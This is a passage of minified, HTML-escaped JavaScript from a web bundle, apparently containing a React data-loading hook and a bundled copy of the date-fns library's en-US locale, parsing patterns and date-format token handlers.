r=Array.isArray(e)&amp;&amp;e.length&gt;0?e:a2e,[o,n]=(0,q0.useState)(r),[i,a]=(0,q0.useState)(!1);return(0,q0.useEffect)(()=&gt;{if(!t){n(r);return}let l=!1;return a(!0),t().then(c=&gt;{if(!l){let u=Array.isArray(c)&amp;&amp;c.length&gt;0?c:r;n(u)}}).catch(()=&gt;{l||n(r)}).finally(()=&gt;{l||a(!1)}),()=&gt;{l=!0}},[t,r]),{elements:o,isLoading:i}}var l2e=Math.pow(10,8)*24*60*60*1e3,xlt=-l2e,a2=6048e5,cte=864e5;var c2e=3600;var ute=c2e*24,Clt=ute*7,u2e=ute*365.2425,d2e=u2e/12,Tlt=d2e*3,wN=Symbol.for(&quot;constructDateFrom&quot;);function lo(e,t){return typeof e==&quot;function&quot;?e(t):e&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;wN in e?e[wN](t):e instanceof Date?new e.constructor(t):new Date(t)}function At(e,t){return lo(t||e,e)}function l2(e,t,r){let o=At(e,r?.in);return isNaN(t)?lo(r?.in||e,NaN):(t&amp;&amp;o.setDate(o.getDate()+t),o)}function c2(e,t,r){let o=At(e,r?.in);if(isNaN(t))return lo(r?.in||e,NaN);if(!t)return o;let n=o.getDate(),i=lo(r?.in||e,o.getTime());i.setMonth(o.getMonth()+t+1,0);let a=i.getDate();return n&gt;=a?i:(o.setFullYear(i.getFullYear(),i.getMonth(),n),o)}var f2e={};function Td(){return f2e}function Bc(e,t){let r=Td(),o=t?.weekStartsOn??t?.locale?.options?.weekStartsOn??r.weekStartsOn??r.locale?.options?.weekStartsOn??0,n=At(e,t?.in),i=n.getDay(),a=(i&lt;o?7:0)+i-o;return n.setDate(n.getDate()-a),n.setHours(0,0,0,0),n}function km(e,t){return Bc(e,{...t,weekStartsOn:1})}function u2(e,t){let r=At(e,t?.in),o=r.getFullYear(),n=lo(r,0);n.setFullYear(o+1,0,4),n.setHours(0,0,0,0);let i=km(n),a=lo(r,0);a.setFullYear(o,0,4),a.setHours(0,0,0,0);let l=km(a);return r.getTime()&gt;=i.getTime()?o+1:r.getTime()&gt;=l.getTime()?o:o-1}function xN(e){let t=At(e),r=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate(),t.getHours(),t.getMinutes(),t.getSeconds(),t.getMilliseconds()));return r.setUTCFullYear(t.getFullYear()),+e-+r}function dte(e,...t){let r=lo.bind(null,e||t.find(o=&gt;typeof o==&quot;object&quot;));return t.map(r)}function CN(e,t){let r=At(e,t?.in);return r.setHours(0,0,0,0),r}function fte(e,t,r){let[o,n]=dte(r?.in,e,t),i=CN(o),a=CN(n),l=+i-xN(i),c=+a-xN(a);return Math.round((l-c)/cte)}function mte(e,t){let r=u2(e,t),o=lo(t?.in||e,0);return o.setFullYear(r,0,4),o.setHours(0,0,0,0),km(o)}function pte(e,t,r){return l2(e,t*7,r)}function hte(e,t,r){return c2(e,t*12,r)}function gte(e){return e instanceof Date||typeof e==&quot;object&quot;&amp;&amp;Object.prototype.toString.call(e)===&quot;[object Date]&quot;}function Lg(e){return!(!gte(e)&amp;&amp;typeof e!=&quot;number&quot;||isNaN(+At(e)))}function vte(e,t){let r=At(e,t?.in);return r.setDate(1),r.setHours(0,0,0,0),r}function d2(e,t){let r=At(e,t?.in);return r.setFullYear(r.getFullYear(),0,1),r.setHours(0,0,0,0),r}var m2e={lessThanXSeconds:{one:&quot;less than a second&quot;,other:&quot;less than {{count}} seconds&quot;},xSeconds:{one:&quot;1 second&quot;,other:&quot;{{count}} seconds&quot;},halfAMinute:&quot;half a minute&quot;,lessThanXMinutes:{one:&quot;less than a minute&quot;,other:&quot;less than {{count}} minutes&quot;},xMinutes:{one:&quot;1 minute&quot;,other:&quot;{{count}} minutes&quot;},aboutXHours:{one:&quot;about 1 hour&quot;,other:&quot;about {{count}} hours&quot;},xHours:{one:&quot;1 hour&quot;,other:&quot;{{count}} hours&quot;},xDays:{one:&quot;1 day&quot;,other:&quot;{{count}} days&quot;},aboutXWeeks:{one:&quot;about 1 week&quot;,other:&quot;about {{count}} weeks&quot;},xWeeks:{one:&quot;1 week&quot;,other:&quot;{{count}} weeks&quot;},aboutXMonths:{one:&quot;about 1 month&quot;,other:&quot;about {{count}} months&quot;},xMonths:{one:&quot;1 month&quot;,other:&quot;{{count}} months&quot;},aboutXYears:{one:&quot;about 1 year&quot;,other:&quot;about {{count}} years&quot;},xYears:{one:&quot;1 year&quot;,other:&quot;{{count}} years&quot;},overXYears:{one:&quot;over 1 year&quot;,other:&quot;over {{count}} years&quot;},almostXYears:{one:&quot;almost 1 year&quot;,other:&quot;almost {{count}} years&quot;}},yte=(e,t,r)=&gt;{let o,n=m2e[e];return typeof n==&quot;string&quot;?o=n:t===1?o=n.one:o=n.other.replace(&quot;{{count}}&quot;,t.toString()),r?.addSuffix?r.comparison&amp;&amp;r.comparison&gt;0?&quot;in &quot;+o:o+&quot; ago&quot;:o};function f2(e){return(t={})=&gt;{let r=t.width?String(t.width):e.defaultWidth;return e.formats[r]||e.formats[e.defaultWidth]}}var p2e={full:&quot;EEEE, MMMM do, y&quot;,long:&quot;MMMM do, y&quot;,medium:&quot;MMM d, y&quot;,short:&quot;MM/dd/yyyy&quot;},h2e={full:&quot;h:mm:ss a zzzz&quot;,long:&quot;h:mm:ss a z&quot;,medium:&quot;h:mm:ss a&quot;,short:&quot;h:mm a&quot;},g2e={full:&quot;{{date}} &#039;at&#039; {{time}}&quot;,long:&quot;{{date}} &#039;at&#039; {{time}}&quot;,medium:&quot;{{date}}, {{time}}&quot;,short:&quot;{{date}}, {{time}}&quot;},bte={date:f2({formats:p2e,defaultWidth:&quot;full&quot;}),time:f2({formats:h2e,defaultWidth:&quot;full&quot;}),dateTime:f2({formats:g2e,defaultWidth:&quot;full&quot;})};var v2e={lastWeek:&quot;&#039;last&#039; eeee &#039;at&#039; p&quot;,yesterday:&quot;&#039;yesterday at&#039; p&quot;,today:&quot;&#039;today at&#039; p&quot;,tomorrow:&quot;&#039;tomorrow at&#039; p&quot;,nextWeek:&quot;eeee &#039;at&#039; p&quot;,other:&quot;P&quot;},Ste=(e,t,r,o)=&gt;v2e[e];function Vg(e){return(t,r)=&gt;{let o=r?.context?String(r.context):&quot;standalone&quot;,n;if(o===&quot;formatting&quot;&amp;&amp;e.formattingValues){let a=e.defaultFormattingWidth||e.defaultWidth,l=r?.width?String(r.width):a;n=e.formattingValues[l]||e.formattingValues[a]}else{let a=e.defaultWidth,l=r?.width?String(r.width):e.defaultWidth;n=e.values[l]||e.values[a]}let i=e.argumentCallback?e.argumentCallback(t):t;return n[i]}}var y2e={narrow:[&quot;B&quot;,&quot;A&quot;],abbreviated:[&quot;BC&quot;,&quot;AD&quot;],wide:[&quot;Before Christ&quot;,&quot;Anno Domini&quot;]},b2e={narrow:[&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;],abbreviated:[&quot;Q1&quot;,&quot;Q2&quot;,&quot;Q3&quot;,&quot;Q4&quot;],wide:[&quot;1st quarter&quot;,&quot;2nd quarter&quot;,&quot;3rd quarter&quot;,&quot;4th quarter&quot;]},S2e={narrow:[&quot;J&quot;,&quot;F&quot;,&quot;M&quot;,&quot;A&quot;,&quot;M&quot;,&quot;J&quot;,&quot;J&quot;,&quot;A&quot;,&quot;S&quot;,&quot;O&quot;,&quot;N&quot;,&quot;D&quot;],abbreviated:[&quot;Jan&quot;,&quot;Feb&quot;,&quot;Mar&quot;,&quot;Apr&quot;,&quot;May&quot;,&quot;Jun&quot;,&quot;Jul&quot;,&quot;Aug&quot;,&quot;Sep&quot;,&quot;Oct&quot;,&quot;Nov&quot;,&quot;Dec&quot;],wide:[&quot;January&quot;,&quot;February&quot;,&quot;March&quot;,&quot;April&quot;,&quot;May&quot;,&quot;June&quot;,&quot;July&quot;,&quot;August&quot;,&quot;September&quot;,&quot;October&quot;,&quot;November&quot;,&quot;December&quot;]},_2e={narrow:[&quot;S&quot;,&quot;M&quot;,&quot;T&quot;,&quot;W&quot;,&quot;T&quot;,&quot;F&quot;,&quot;S&quot;],short:[&quot;Su&quot;,&quot;Mo&quot;,&quot;Tu&quot;,&quot;We&quot;,&quot;Th&quot;,&quot;Fr&quot;,&quot;Sa&quot;],abbreviated:[&quot;Sun&quot;,&quot;Mon&quot;,&quot;Tue&quot;,&quot;Wed&quot;,&quot;Thu&quot;,&quot;Fri&quot;,&quot;Sat&quot;],wide:[&quot;Sunday&quot;,&quot;Monday&quot;,&quot;Tuesday&quot;,&quot;Wednesday&quot;,&quot;Thursday&quot;,&quot;Friday&quot;,&quot;Saturday&quot;]},w2e={narrow:{am:&quot;a&quot;,pm:&quot;p&quot;,midnight:&quot;mi&quot;,noon:&quot;n&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},abbreviated:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},wide:{am:&quot;a.m.&quot;,pm:&quot;p.m.&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;}},x2e={narrow:{am:&quot;a&quot;,pm:&quot;p&quot;,midnight:&quot;mi&quot;,noon:&quot;n&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;},abbreviated:{am:&quot;AM&quot;,pm:&quot;PM&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;},wide:{am:&quot;a.m.&quot;,pm:&quot;p.m.&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;in the morning&quot;,afternoon:&quot;in the afternoon&quot;,evening:&quot;in the evening&quot;,night:&quot;at night&quot;}},C2e=(e,t)=&gt;{let r=Number(e),o=r%100;if(o&gt;20||o&lt;10)switch(o%10){case 1:return r+&quot;st&quot;;case 2:return r+&quot;nd&quot;;case 3:return r+&quot;rd&quot;}return r+&quot;th&quot;},_te={ordinalNumber:C2e,era:Vg({values:y2e,defaultWidth:&quot;wide&quot;}),quarter:Vg({values:b2e,defaultWidth:&quot;wide&quot;,argumentCallback:e=&gt;e-1}),month:Vg({values:S2e,defaultWidth:&quot;wide&quot;}),day:Vg({values:_2e,defaultWidth:&quot;wide&quot;}),dayPeriod:Vg({values:w2e,defaultWidth:&quot;wide&quot;,formattingValues:x2e,defaultFormattingWidth:&quot;wide&quot;})};function jg(e){return(t,r={})=&gt;{let o=r.width,n=o&amp;&amp;e.matchPatterns[o]||e.matchPatterns[e.defaultMatchWidth],i=t.match(n);if(!i)return null;let a=i[0],l=o&amp;&amp;e.parsePatterns[o]||e.parsePatterns[e.defaultParseWidth],c=Array.isArray(l)?P2e(l,f=&gt;f.test(a)):T2e(l,f=&gt;f.test(a)),u;u=e.valueCallback?e.valueCallback(c):c,u=r.valueCallback?r.valueCallback(u):u;let d=t.slice(a.length);return{value:u,rest:d}}}function T2e(e,t){for(let r in e)if(Object.prototype.hasOwnProperty.call(e,r)&amp;&amp;t(e[r]))return r}function P2e(e,t){for(let r=0;r&lt;e.length;r++)if(t(e[r]))return r}function wte(e){return(t,r={})=&gt;{let o=t.match(e.matchPattern);if(!o)return null;let n=o[0],i=t.match(e.parsePattern);if(!i)return null;let a=e.valueCallback?e.valueCallback(i[0]):i[0];a=r.valueCallback?r.valueCallback(a):a;let l=t.slice(n.length);return{value:a,rest:l}}}var k2e=/^(\d+)(th|st|nd|rd)?/i,E2e=/\d+/i,R2e={narrow:/^(b|a)/i,abbreviated:/^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,wide:/^(before christ|before common era|anno domini|common era)/i},A2e={any:[/^b/i,/^(a|c)/i]},O2e={narrow:/^[1234]/i,abbreviated:/^q[1234]/i,wide:/^[1234](th|st|nd|rd)? quarter/i},I2e={any:[/1/i,/2/i,/3/i,/4/i]},N2e={narrow:/^[jfmasond]/i,abbreviated:/^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,wide:/^(january|february|march|april|may|june|july|august|september|october|november|december)/i},F2e={narrow:[/^j/i,/^f/i,/^m/i,/^a/i,/^m/i,/^j/i,/^j/i,/^a/i,/^s/i,/^o/i,/^n/i,/^d/i],any:[/^ja/i,/^f/i,/^mar/i,/^ap/i,/^may/i,/^jun/i,/^jul/i,/^au/i,/^s/i,/^o/i,/^n/i,/^d/i]},D2e={narrow:/^[smtwf]/i,short:/^(su|mo|tu|we|th|fr|sa)/i,abbreviated:/^(sun|mon|tue|wed|thu|fri|sat)/i,wide:/^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i},B2e={narrow:[/^s/i,/^m/i,/^t/i,/^w/i,/^t/i,/^f/i,/^s/i],any:[/^su/i,/^m/i,/^tu/i,/^w/i,/^th/i,/^f/i,/^sa/i]},M2e={narrow:/^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,any:/^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i},L2e={any:{am:/^a/i,pm:/^p/i,midnight:/^mi/i,noon:/^no/i,morning:/morning/i,afternoon:/afternoon/i,evening:/evening/i,night:/night/i}},xte={ordinalNumber:wte({matchPattern:k2e,parsePattern:E2e,valueCallback:e=&gt;parseInt(e,10)}),era:jg({matchPatterns:R2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:A2e,defaultParseWidth:&quot;any&quot;}),quarter:jg({matchPatterns:O2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:I2e,defaultParseWidth:&quot;any&quot;,valueCallback:e=&gt;e+1}),month:jg({matchPatterns:N2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:F2e,defaultParseWidth:&quot;any&quot;}),day:jg({matchPatterns:D2e,defaultMatchWidth:&quot;wide&quot;,parsePatterns:B2e,defaultParseWidth:&quot;any&quot;}),dayPeriod:jg({matchPatterns:M2e,defaultMatchWidth:&quot;any&quot;,parsePatterns:L2e,defaultParseWidth:&quot;any&quot;})};var TN={code:&quot;en-US&quot;,formatDistance:yte,formatLong:bte,formatRelative:Ste,localize:_te,match:xte,options:{weekStartsOn:0,firstWeekContainsDate:1}};function Cte(e,t){let r=At(e,t?.in);return fte(r,d2(r))+1}function Tte(e,t){let r=At(e,t?.in),o=+km(r)-+mte(r);return Math.round(o/a2)+1}function m2(e,t){let r=At(e,t?.in),o=r.getFullYear(),n=Td(),i=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??n.firstWeekContainsDate??n.locale?.options?.firstWeekContainsDate??1,a=lo(t?.in||e,0);a.setFullYear(o+1,0,i),a.setHours(0,0,0,0);let l=Bc(a,t),c=lo(t?.in||e,0);c.setFullYear(o,0,i),c.setHours(0,0,0,0);let u=Bc(c,t);return+r&gt;=+l?o+1:+r&gt;=+u?o:o-1}function Pte(e,t){let r=Td(),o=t?.firstWeekContainsDate??t?.locale?.options?.firstWeekContainsDate??r.firstWeekContainsDate??r.locale?.options?.firstWeekContainsDate??1,n=m2(e,t),i=lo(t?.in||e,0);return i.setFullYear(n,0,o),i.setHours(0,0,0,0),Bc(i,t)}function kte(e,t){let r=At(e,t?.in),o=+Bc(r,t)-+Pte(r,t);return Math.round(o/a2)+1}function wt(e,t){let r=e&lt;0?&quot;-&quot;:&quot;&quot;,o=Math.abs(e).toString().padStart(t,&quot;0&quot;);return r+o}var Mc={y(e,t){let r=e.getFullYear(),o=r&gt;0?r:1-r;return wt(t===&quot;yy&quot;?o%100:o,t.length)},M(e,t){let r=e.getMonth();return t===&quot;M&quot;?String(r+1):wt(r+1,2)},d(e,t){return wt(e.getDate(),t.length)},a(e,t){let r=e.getHours()/12&gt;=1?&quot;pm&quot;:&quot;am&quot;;switch(t){case&quot;a&quot;:case&quot;aa&quot;:return r.toUpperCase();case&quot;aaa&quot;:return r;case&quot;aaaaa&quot;:return r[0];default:return r===&quot;am&quot;?&quot;a.m.&quot;:&quot;p.m.&quot;}},h(e,t){return wt(e.getHours()%12||12,t.length)},H(e,t){return wt(e.getHours(),t.length)},m(e,t){return wt(e.getMinutes(),t.length)},s(e,t){return wt(e.getSeconds(),t.length)},S(e,t){let r=t.length,o=e.getMilliseconds(),n=Math.trunc(o*Math.pow(10,r-3));return wt(n,t.length)}};var zg={am:&quot;am&quot;,pm:&quot;pm&quot;,midnight:&quot;midnight&quot;,noon:&quot;noon&quot;,morning:&quot;morning&quot;,afternoon:&quot;afternoon&quot;,evening:&quot;evening&quot;,night:&quot;night&quot;},PN={G:function(e,t,r){let o=e.getFullYear()&gt;0?1:0;switch(t){case&quot;G&quot;:case&quot;GG&quot;:case&quot;GGG&quot;:return r.era(o,{width:&quot;abbreviated&quot;});case&quot;GGGGG&quot;:return r.era(o,{width:&quot;narrow&quot;});default:return r.era(o,{width:&quot;wide&quot;})}},y:function(e,t,r){if(t===&quot;yo&quot;){let o=e.getFullYear(),n=o&gt;0?o:1-o;return r.ordinalNumber(n,{unit:&quot;year&quot;})}return Mc.y(e,t)},Y:function(e,t,r,o){let n=m2(e,o),i=n&gt;0?n:1-n;if(t===&quot;YY&quot;){let a=i%100;return wt(a,2)}return t===&quot;Yo&quot;?r.ordinalNumber(i,{unit:&quot;year&quot;}):wt(i,t.length)},R:function(e,t){let r=u2(e);return wt(r,t.length)},u:function(e,t){let r=e.getFullYear();return wt(r,t.length)},Q:function(e,t,r){let o=Math.ceil((e.getMonth()+1)/3);switch(t){case&quot;Q&quot;:return String(o);case&quot;QQ&quot;:return wt(o,2);case&quot;Qo&quot;:return r.ordinalNumber(o,{unit:&quot;quarter&quot;});case&quot;QQQ&quot;:return r.quarter(o,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;QQQQQ&quot;:return r.quarter(o,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.quarter(o,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},q:function(e,t,r){let o=Math.ceil((e.getMonth()+1)/3);switch(t){case&quot;q&quot;:return String(o);case&quot;qq&quot;:return wt(o,2);case&quot;qo&quot;:return r.ordinalNumber(o,{unit:&quot;quarter&quot;});case&quot;qqq&quot;:return r.quarter(o,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;qqqqq&quot;:return r.quarter(o,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});default:return r.quarter(o,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},M:function(e,t,r){let o=e.getMonth();switch(t){case&quot;M&quot;:case&quot;MM&quot;:return Mc.M(e,t);case&quot;Mo&quot;:return r.ordinalNumber(o+1,{unit:&quot;month&quot;});case&quot;MMM&quot;:return r.month(o,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;MMMMM&quot;:return r.month(o,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.month(o,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},L:function(e,t,r){let o=e.getMonth();switch(t){case&quot;L&quot;:return String(o+1);case&quot;LL&quot;:return wt(o+1,2);case&quot;Lo&quot;:return r.ordinalNumber(o+1,{unit:&quot;month&quot;});case&quot;LLL&quot;:return r.month(o,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;LLLLL&quot;:return r.month(o,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});default:return r.month(o,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},w:function(e,t,r,o){let n=kte(e,o);return t===&quot;wo&quot;?r.ordinalNumber(n,{unit:&quot;week&quot;}):wt(n,t.length)},I:function(e,t,r){let o=Tte(e);return t===&quot;Io&quot;?r.ordinalNumber(o,{unit:&quot;week&quot;}):wt(o,t.length)},d:function(e,t,r){return t===&quot;do&quot;?r.ordinalNumber(e.getDate(),{unit:&quot;date&quot;}):Mc.d(e,t)},D:function(e,t,r){let o=Cte(e);return t===&quot;Do&quot;?r.ordinalNumber(o,{unit:&quot;dayOfYear&quot;}):wt(o,t.length)},E:function(e,t,r){let o=e.getDay();switch(t){case&quot;E&quot;:case&quot;EE&quot;:case&quot;EEE&quot;:return r.day(o,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;EEEEE&quot;:return r.day(o,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;EEEEEE&quot;:return r.day(o,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return r.day(o,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},e:function(e,t,r,o){let n=e.getDay(),i=(n-o.weekStartsOn+8)%7||7;switch(t){case&quot;e&quot;:return String(i);case&quot;ee&quot;:return wt(i,2);case&quot;eo&quot;:return r.ordinalNumber(i,{unit:&quot;day&quot;});case&quot;eee&quot;:return r.day(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;eeeee&quot;:return r.day(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;eeeeee&quot;:return r.day(n,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return r.day(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},c:function(e,t,r,o){let n=e.getDay(),i=(n-o.weekStartsOn+8)%7||7;switch(t){case&quot;c&quot;:return String(i);case&quot;cc&quot;:return wt(i,t.length);case&quot;co&quot;:return r.ordinalNumber(i,{unit:&quot;day&quot;});case&quot;ccc&quot;:return r.day(n,{width:&quot;abbreviated&quot;,context:&quot;standalone&quot;});case&quot;ccccc&quot;:return r.day(n,{width:&quot;narrow&quot;,context:&quot;standalone&quot;});case&quot;cccccc&quot;:return r.day(n,{width:&quot;short&quot;,context:&quot;standalone&quot;});default:return r.day(n,{width:&quot;wide&quot;,context:&quot;standalone&quot;})}},i:function(e,t,r){let o=e.getDay(),n=o===0?7:o;switch(t){case&quot;i&quot;:return String(n);case&quot;ii&quot;:return wt(n,t.length);case&quot;io&quot;:return r.ordinalNumber(n,{unit:&quot;day&quot;});case&quot;iii&quot;:return r.day(o,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;iiiii&quot;:return r.day(o,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});case&quot;iiiiii&quot;:return r.day(o,{width:&quot;short&quot;,context:&quot;formatting&quot;});default:return r.day(o,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},a:function(e,t,r){let n=e.getHours()/12&gt;=1?&quot;pm&quot;:&quot;am&quot;;switch(t){case&quot;a&quot;:case&quot;aa&quot;:return r.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;aaa&quot;:return r.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;}).toLowerCase();case&quot;aaaaa&quot;:return r.dayPeriod(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.dayPeriod(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},b:function(e,t,r){let o=e.getHours(),n;switch(o===12?n=zg.noon:o===0?n=zg.midnight:n=o/12&gt;=1?&quot;pm&quot;:&quot;am&quot;,t){case&quot;b&quot;:case&quot;bb&quot;:return r.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;bbb&quot;:return r.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;}).toLowerCase();case&quot;bbbbb&quot;:return r.dayPeriod(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.dayPeriod(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},B:function(e,t,r){let o=e.getHours(),n;switch(o&gt;=17?n=zg.evening:o&gt;=12?n=zg.afternoon:o&gt;=4?n=zg.morning:n=zg.night,t){case&quot;B&quot;:case&quot;BB&quot;:case&quot;BBB&quot;:return r.dayPeriod(n,{width:&quot;abbreviated&quot;,context:&quot;formatting&quot;});case&quot;BBBBB&quot;:return r.dayPeriod(n,{width:&quot;narrow&quot;,context:&quot;formatting&quot;});default:return r.dayPeriod(n,{width:&quot;wide&quot;,context:&quot;formatting&quot;})}},h:function(e,t,r){if(t===&quot;ho&quot;){let o=e.getHours()%12;return o===0&amp;&amp;(o=12),r.ordinalNumber(o,{unit:&quot;hour&quot;})}return Mc.h(e,t)},H:function(e,t,r){return t===&quot;Ho&quot;?r.ordinalNumber(e.getHours(),{unit:&quot;hour&quot;}):Mc.H(e,t)},K:function(e,t,r){let o=e.getHours()%12;return t===&quot;Ko&quot;?r.ordinalNumber(o,{unit:&quot;hour&quot;}):wt(o,t.length)},k:function(e,t,r){let o=e.getHours();return o===0&amp;&amp;(o=24),t===&quot;ko&quot;?r.ordinalNumber(o,{unit:&quot;hour&quot;}):wt(o,t.length)},m:function(e,t,r){return t===&quot;mo&quot;?r.ordinalNumber(e.getMinutes(),{unit:&quot;minute&quot;}):Mc.m(e,t)},s:function(e,t,r){return t===&quot;so&quot;?r.ordinalNumber(e.getSeconds(),{unit:&quot;second&quot;}):Mc.s(e,t)},S:function(e,t){return Mc.S(e,t)},X:function(e,t,r){let o=e.getTimezoneOffset();if(o===0)return&quot;Z&quot;;switch(t){case&quot;X&quot;:return Rte(o);case&quot;XXXX&quot;:case&quot;XX&quot;:return Em(o);default:return Em(o,&quot;:&quot;)}},x:function(e,t,r){let o=e.getTimezoneOffset();switch(t){case&quot;x&quot;:return Rte(o);case&quot;xxxx&quot;:case&quot;xx&quot;:return Em(o);default:return Em(o,&quot;:&quot;)}},O:function(e,t,r){let o=e.getTimezoneOffset();switch(t){case&quot;O&quot;:case&quot;OO&quot;:case&quot;OOO&quot;:return&quot;GMT&quot;+Ete(o,&quot;:&quot;);default:return&quot;GMT&quot;+Em(o,&quot;:&quot;)}},z:function(e,t,r){let o=e.getTimezoneOffset();switch(t){case&quot;z&quot;:case&quot;zz&quot;:case&quot;zzz&quot;:return&quot;GMT&quot;+Ete(o,&quot;:&quot;);default:return&quot;GMT&quot;+Em(o,&quot;:&quot;)}},t:function(e,t,r){let o=Math.trunc(+e/1e3);return wt(o,t.length)},T:function(e,t,r){return wt(+e,t.length)}};function Ete(e,t=&quot;&quot;){let r=e&gt;0?&quot;-&quot;:&quot;+&quot;,o=Math.abs(e),n=Math.trunc(o/60),i=o%60;return i===0?r+String(n):r+String(n)+t+wt(i,2)}function Rte(e,t){return e%60===0?(e&gt;0?&quot;-&quot;:&quot;+&quot;)+wt(Math.abs(e)/60,2):Em(e,t)}function Em(e,t=&quot;&quot;){let r=e&gt;0?&quot;-&quot;:&quot;+&quot;,o=Math.abs(e),n=wt(Math.trunc(o/60),2),i=wt(o%60,2);return r+n+t+i}var Ate=(e,t)=&gt;{switch(e){case&quot;P&quot;:return t.date({width:&quot;short&quot;});case&quot;PP&quot;:return t.date({width:&quot;medium&quot;});case&quot;PPP&quot;:return t.date({width:&quot;long&quot;});default:return t.date({width:&quot;full&quot;})}},Ote=(e,t)=&gt;{switch(e){case&quot;p&quot;:return t.time({width:&quot;short&quot;});case&quot;pp&quot;:return t.time({width:&quot;medium&quot;});case&quot;ppp&quot;:return t.time({width:&quot;long&quot;});default:return t.time({width:&quot;full&quot;})}},V2e=(e,t)=&gt;{let r=e.match(/(P+)(p+)?/)||[],o=r[1],n=r[2];if(!n)return Ate(e,t);let i;switch(o){case&quot;P&quot;:i=t.dateTime({width:&quot;short&quot;});break;case&quot;PP&quot;:i=t.dateTime({width:&quot;medium&quot;});break;case&quot;PPP&quot;:i=t.dateTime({width:&quot;long&quot;});break;default:i=t.dateTime({width:&quot;full&quot;});break}return i.replace(&quot;{{date}}&quot;,Ate(o,t)).replace(&quot;{{time}}&quot;,Ote(n,t))},Ite={p:Ote,P:V2e};var j2e=/^D+$/,z2e=/^Y+$/,U2e=[&quot;D&quot;,&quot;DD&quot;,&quot;YY&quot;,&quot;YYYY&quot;];function Nte(e){return j2e.test(e)}function Fte(e){return z2e.test(e)}function Dte(e,t,r){let o=H2e(e,t,r);if(console.warn(o),U2e.includes(e))throw new RangeError(o)}function H2e(e,t,r){let o=e[0]===&quot;Y&quot;?&quot;years&quot;:&quot;days of the month&quot;;return`Use \`${e.toLowerCase()}\` instead of \`${e}\` (in \`${t}\`) for formatting ${o} to the input \`${r}\`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md`}var G2e=/[yYQqMLwIdDecihHKkms]o|(\w)\1*|&#039;&#039;|&#039;(&#039;&#039;|[^&#039;])+(&#039;|$)|./g,W2e=/P+p+|P+|p+|&#039;&#039;|&#039;(&#039;&#039;|[^&#039;])+(&#039;|$)|./g,Y2e=/^&#039;([^]*?)&#039;?$/,q2e=/&#039;&#039;/g,Z2e=/[a-zA-Z]/;function kN(e,t,r){let o=Td(),n=r?.locale??o.locale??TN,i=r?.firstWeekContainsDate??r?.locale?.options?.firstWeekContainsDate??o.firstWeekContainsDate??o.locale?.options?.firstWeekContainsDate??1,a=r?.weekStartsOn??r?.locale?.options?.weekStartsOn??o.weekStartsOn??o.locale?.options?.weekStartsOn??0,l=At(e,r?.in);if(!Lg(l))throw new RangeError(&quot;Invalid time value&quot;);let c=t.match(W2e).map(d=&gt;{let f=d[0];if(f===&quot;p&quot;||f===&quot;P&quot;){let m=Ite[f];return m(d,n.formatLong)}return d}).join(&quot;&quot;).match(G2e).map(d=&gt;{if(d===&quot;&#039;&#039;&quot;)return{isToken:!1,value:&quot;&#039;&quot;};let 